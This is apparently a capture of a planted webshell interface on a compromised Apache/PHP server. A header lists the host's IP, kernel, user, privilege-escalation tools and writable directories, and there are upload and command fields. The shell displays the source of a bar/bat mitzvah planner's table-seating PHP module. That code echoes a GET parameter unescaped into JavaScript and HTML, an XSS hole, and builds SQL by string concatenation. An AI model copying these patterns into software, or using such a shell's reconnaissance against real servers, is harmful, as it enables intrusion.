403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.30
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdevplanner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdevplanner/mod/table_assign.php
<?php include('_mod_security.php'); ?>
<?php
	$sql = "SELECT * FROM events WHERE user_id = ".$_SESSION['user_id']."  AND id = ".$_SESSION['active_event']." ";
	$result_event = mysqli_query($GLOBALS['con'], $sql);
	if (mysqli_num_rows($result_event) > 0) :
		$row_event = mysqli_fetch_object($result_event);
	endif;
	if (!empty($row_event->temple_name)) :
		$ar_venue['temple'] = venue_decode('temple');
	endif;
	if (!empty($row_event->av_name)) :
		$ar_venue['av'] = venue_decode('av');
	endif;
	if (!empty($row_event->kv_name)) :
		$ar_venue['kv'] = venue_decode('kv');
	endif;
	if (!empty($row_event->bv_name)) :
		$ar_venue['bv'] = venue_decode('bv');
	endif;
	if (!empty($row_event->dv_name)) :
		$ar_venue['dv'] = venue_decode('dv');
	endif;
	$current_venue_name = reset($ar_venue);
	$current_venue = key($ar_venue);
	if (!empty($_GET['venue'])) :
		$current_venue = $_GET['venue'];
	endif;
	$current_venue = mysqli_real_escape_string($GLOBALS['con'], trim($current_venue));
	// **************** Get all tables for the venue ***********
	$sql = "SELECT * FROM tables WHERE user_id = ".$_SESSION['user_id']."  AND event_id = ".$_SESSION['active_event']." AND venue = '".$current_venue."' ";
	$result_table = mysqli_query($GLOBALS['con'], $sql);
?>
<script>
	
	var gbl_source_tid = 0;
	
	function set_drag_drop()
	{
		$(".draggable_guest").draggable({ 
			containment: "#table_layout", 
			//revert: 'invalid', 
			revertDuration: 500,
			revert: function(is_valid_drop)
			{
				if (!is_valid_drop)
				{
					var drag_revert = $(this);
					setTimeout(function() { drag_revert.show(); }, 500);
					return true;
				}
			},
			scroll: false,
			//helper: function() { return $(this).clone().appendTo('body').show(); },
			helper: 'clone',
            appendTo: 'body',
			/*
            helper: function(){
                $copy = $(this).clone();
                return $copy;},
			*/
			zIndex: 99999,
			cursor: 'move',
			start : function() 
			{
				this.style.display="none";
				gbl_source_tid = $(this).parent().parent().attr('tid');
			},
			stop: function() 
			{
				//this.style.display="";
			}
		});
		$(".droppable_table").draggable({ 
			//containment: "#room_layout", 
			//revert: 'invalid', 
			//scroll: false,
			handle: 'div.table_header',
			cursor: 'move',
			zIndex: 99,
			stop: function() 
			{
				var x = $(this).position().left; 
				if (x < 0)
				{
					x = 0;
					$(this).css('left', '0px');
				}
				var y = $(this).position().top; 
				if (y < 0)
				{
					y = 0;
					$(this).css('top', '0px');
				}
				var tid = $(this).attr('tid');
				table_update(tid, x, y);
			}
		});
		$('.droppable_table').droppable({
			accept: '.draggable_guest',
			drop: function( event, ui ) 
			{
				//$( this )
				//.addClass( "ui-state-highlight" )
				//.find( "p" )
				//.html( "Dropped!" );
				dropped = true;
				$.ui.ddmanager.current.cancelHelperRemoval = true;
				ui.helper.appendTo(this);
				var tid = $(this).attr('tid');
				var gid = ui.draggable.attr('gid');
				table_guest_add(gid, tid, '<?php echo $current_venue; ?>');
			}
		});
		$('#table_guests').droppable({
			accept: '.draggable_guest',
			drop: function( event, ui ) 
			{
				//$( this )
				//.addClass( "ui-state-highlight" )
				//.find( "p" )
				//.html( "Dropped!" );
				dropped = true;
				$.ui.ddmanager.current.cancelHelperRemoval = true;
				ui.helper.appendTo(this);
				var tid = $(this).attr('tid');
				var gid = ui.draggable.attr('gid');
				table_guest_add(gid, 0, '<?php echo $current_venue; ?>');
			}
		});
	}

	table_guest_load = function(venue)
	{
		$('#table_guests').load('ajax.php?call=table_guest_load&venue=' + venue,
				function() 
				{
					set_drag_drop();
				} );
	}
	
	table_load = function(tid, div, venue)
	{
		$('#' + div).load('ajax.php?call=table_load&id=' + tid + '&venue=' + venue,
				function() 
				{
					set_drag_drop();
				} );
	}
	
	table_update = function(tid, x, y)
	{
		$('#ajax_update').load('ajax.php?call=table_update&id=' + tid + '&x=' + x + '&y=' + y,
				function() 
				{
					set_drag_drop();
				} );
	}
	
	table_guest_add = function(gid, tid, venue)
	{
		$('#ajax_update').load('ajax.php?call=table_guest_add&gid=' + gid + '&tid=' + tid + '&venue=' + venue,
				function() 
				{
					table_load(tid, 'drop_table_' + tid, venue);
					table_load(gbl_source_tid, 'drop_table_' + gbl_source_tid, venue);
					table_guest_load(venue);
					//set_drag_drop();
				} );
	}
	
	$(document).ready(function()	
	{
		table_guest_load('<?php echo $current_venue; ?>');
		//set_drag_drop();
	});
	
	// ****** Prepare popup form settings *****
	var win_page = 'page_form.php';
	var win_width = 600;
	var win_height = 400;
</script>

<h1>Table Seating Assignment / Room Layout Worksheet</h1>

<?php
	if (empty($_SESSION['active_event'])) :
?>
		<h3>No Bar/Bat Mitzvah defined - please create or activate a Bar/Bat Mitzvah!</h3>
<?php
		return;
	endif;
?>
<!--
<center>Drag attending guests from the left panel to the tables in the right panel, or from one table to another.  Click "Add Table" to create additional tables.  Move tables around the room by dragging.  To remove a guest from a table, drag back to the guest panel on the left.</center><br />
-->
<?php get_reports('tables_guests_by_venue,guests_unassigned_tables'); ?>
<?php get_notes(); ?>
<?php get_help_guide('help_table_assign'); ?>

<?php //include('mod/_db_navigator_bar.php'); ?>
<div class="form_message">
	<?php
		$i = 0;
		foreach($ar_venue as $key=>$value) :
			$i = $i + 1;
			$checked = '';
			if ($key == $current_venue) :
				$checked = 'checked="checked"';
			endif;
	?>
				<span style="color:#000000;">
				<input type="radio" name="venue" id="venue_<?php echo $key; ?>" <?php echo $checked; ?> onclick="window.location.href = 'index.php?IX=table_assign&venue=<?php echo $key; ?>'"  /><?php echo $value; ?>&nbsp;&nbsp;
				</span>
	<?php
		endforeach;
		if ($i <= 0) :
	?>
			No venues currently defined.  Please define at least one venue for the party <a href="index.php?IX=event_form&id=<?php echo $_SESSION['active_event']; ?>">here</a>.
	<?php
			return;
		endif;
	?>
</div>
<div id="ajax_update" style="width:1px; height:1px; display:none;">
</div>

<div class="db-grid" id="div_db_grid">
	<table class="dbgrid" align="center" id="table_layout"  cellpadding="0" cellspacing="2" border="0" >
		<tr>
			<td align="center" class="data-grid-label" style="height:18px;">
				Unseated Guests
			</td>
			<td align="center" class="data-grid-label" style="height:18px;">
				Room Table Layout
			</td>
			<td align="center"  width="100">
				<input type="button" value="Print Layout" onclick="printSection('room_layout');" />
			</td>
			<td align="center"  width="100">
				<input type="button" value="Add Table" onclick="window.location.href = 'index.php?IX=table_form&ref=table_assign&prepop_venue=<?php echo $current_venue; ?>';" />
			</td>
		</tr>
		<tr>
			<td>
				<div class="table_guests" id="table_guests">
				</div>
			</td>
			<td colspan="3">
				<div class="table_layout_wrapper">
					<div class="table_layout" id="room_layout">
						<?php
							while($row_table = mysqli_fetch_object($result_table)) :
						?>
								<div class="droppable_table" tid="<?php echo $row_table->id; ?>" style="left:<?php echo $row_table->pos_x; ?>px; top:<?php echo $row_table->pos_y; ?>px;">
									<div class="table_header">
										<?php echo '#'.$row_table->table_no.' - '.$row_table->table_desc; ?>
									</div>
									<div id="drop_table_<?php echo $row_table->id; ?>">
									</div>
									<script>
										table_load(<?php echo $row_table->id; ?>, 'drop_table_<?php echo $row_table->id; ?>', '<?php echo $current_venue; ?>');
									</script>
								</div>
						<?php
							endwhile;
						?>
					</div>
				</div>
			</td>
		</tr>
	</table>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit